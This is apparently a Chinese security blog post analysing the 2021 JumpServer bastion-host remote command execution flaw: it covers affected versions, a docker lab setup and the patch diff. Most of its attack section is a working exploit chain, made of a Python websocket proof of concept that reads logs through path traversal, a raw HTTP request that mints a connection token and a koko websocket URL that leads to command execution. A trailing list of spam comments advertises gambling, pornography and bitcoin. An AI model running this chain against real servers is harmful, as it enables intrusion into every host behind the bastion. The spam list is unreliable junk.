能力中心
本站所有文章均为原创,如需转载请注明出处
JumpServer
是全球首款开源的堡垒机,使用 GNU GPL v2.0 开源协议, 使用 Python / Django 为主进行开发。
2021年1月15日,JumpServer
官方发布了安全通告,其中修复了一处远程命令执行漏洞。由于 JumpServer
的websocket
接口未做授权限制,允许攻击者通过精心构造的请求获取日志文件,从日志文件中可获取敏感信息生成token,再利用生成的token通过相关操作API在资产主机上执行任意命令。
JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9
JumpServer >= v2.6.2
JumpServer >= v2.5.4
JumpServer >= v2.4.5
JumpServer = v1.5.9 (版本号没变)
JumpServer
版本:v2.5.3
运行环境: docker
19.03.1
由于JumpServer
涉及的组件比较多,官方提供的一键安装脚本对系统版本, CPU 内存都有要求,这里选择 docker
环境进行安装。
git clone https://github.com/jumpserver/Dockerfile.git
cd Dockerfile
cp config_example.conf .env
cat .env
docker-compose up
另外为了达到在资产主机中执行命令的效果,先在资产管理中添加了管理用户和系统用户以及对应的资产。
通过分析近期的commit
很快发现了漏洞修复点
https://github.com/jumpserver/jumpserver/commit/82077a3ae1d5f20a99e83d1ccf19d683ed3af71e
第一个修复路径是 apps/authentication/api/auth.py
删除了 get_permissions
函数,在该函数内如果带上了user-only
参数,将会获得一个 AllowAny
的权限
第二个修复路径是 apps/ops/ws.py
这是一个websocket 连接端点,用来读取日志文件,修复方式是在connect
函数内添加了身份认证代码。
在资产详情中点击右边测试资产可连接性中的测试按钮,可以触发读日志请求,相关路径为
在receive
中获取到了task
参数,传递给了read_log_file
函数,期间task_id
参数没有做检验,不过在get_celery_task_log_path
限制了只能读log
后缀的文件
而jumpserver
的日志目录在
/opt/jumpserver/logs/
, 通过查看gunicorn.log日志,可以获取到user_id asset_id system_user_id
读日志poc
import websocket
#pip install websocket_client
import json
import sys
try:
import thread
except ImportError:
import _thread as thread
def on_message(ws, message):
print(json.loads(message)["message"])
def on_error(ws, error):
print(error)
def on_close(ws):
print("### closed ###")
def on_open(ws):
print("open")
ws.send('{"task":"../../../../../../../../../../../opt/jumpserver/logs/gunicorn"}')
#thread.start_new_thread(run, ())
if __name__ == "__main__":
websocket.enableTrace(True)
ws = websocket.WebSocketApp("ws://"+sys.argv[1]+"/ws/ops/tasks/log/",
on_message = on_message,
on_error = on_error,
on_close = on_close)
ws.on_open = on_open
ws.run_forever()
通过前面的信息泄露获取到的数据,我们往 /api/v1/users/connection-token/
post
数据来生成token
POST /api/v1/users/connection-token/?user-only=1 HTTP/1.1
Host: ********
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Referer: http://****/luna/?_=1610803918148
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
user=6ff28bb9-27c8-4f16-a9b1-c281e8bef84b&asset=65914948-7afb-43a7-b2e0-6754b145278b&system_user=2509e891-1b40-4d5b-9386-870e7e769cda
写入到cache token 值数据结果如下
value = {
'user': user_id,
'username': user.username,
'asset': asset_id,
'hostname': asset.hostname,
'system_user': system_user_id,
'system_user_name': system_user.name
}
但是把这里生成的token 当成rest_api 凭证时会报错,看了下这个报错是绕不过去的。
后来通过一顿操作,发现 connection-token 接口是在koko go 写的程序里使用的
通过前面TokenAssetURL
反向跟踪到processTokenWebsocket
,再进一步跟踪到下面的代码,而且/elfinder
, 和/terminal
都有认证校验,而/token
没有
将前面生成的token传给target_id ,就可以进入到runTTY从而在资产主机上执行任意命令了。
可以正常建立websocket连接
http://*****/koko/ws/token/?target_id=1ee29c32-c30b-4ec5-8741-1a7971cdf808
bahis oyna
2024/06/12 15:52bitcoin
2024/06/08 10:28bitcoin
2024/05/30 02:28hdfilmcehennemi
2024/04/17 02:54hdfilmcehennemi
2023/12/02 22:52hdfilmcehennemi
2023/11/26 17:59hdfilmcehennemi
2023/11/25 20:38bedava bitcoin
2022/08/15 14:00porno izle
2022/08/15 11:55bets10 giris
2022/08/13 13:54sex
2022/08/13 05:23casino
2022/08/13 03:38sex
2022/08/12 23:32eskort bayan
2022/08/11 10:41buy viagra
2022/08/11 04:40bahis
2022/08/10 03:15sex
2022/08/08 08:56sikis izle
2022/07/20 06:15sikis izle
2022/07/20 05:00online bahis casino
2022/07/19 08:21porno
2022/07/19 04:40porno izle
2022/07/18 18:32liseli
2022/07/18 05:46watch series
2022/07/17 23:11porno izle
2022/07/16 19:29bahis oyna
2022/07/11 01:45online bahis casino
2022/07/09 04:11türkçe dublaj film izle
2022/06/09 04:52erotik
2021/03/02 02:46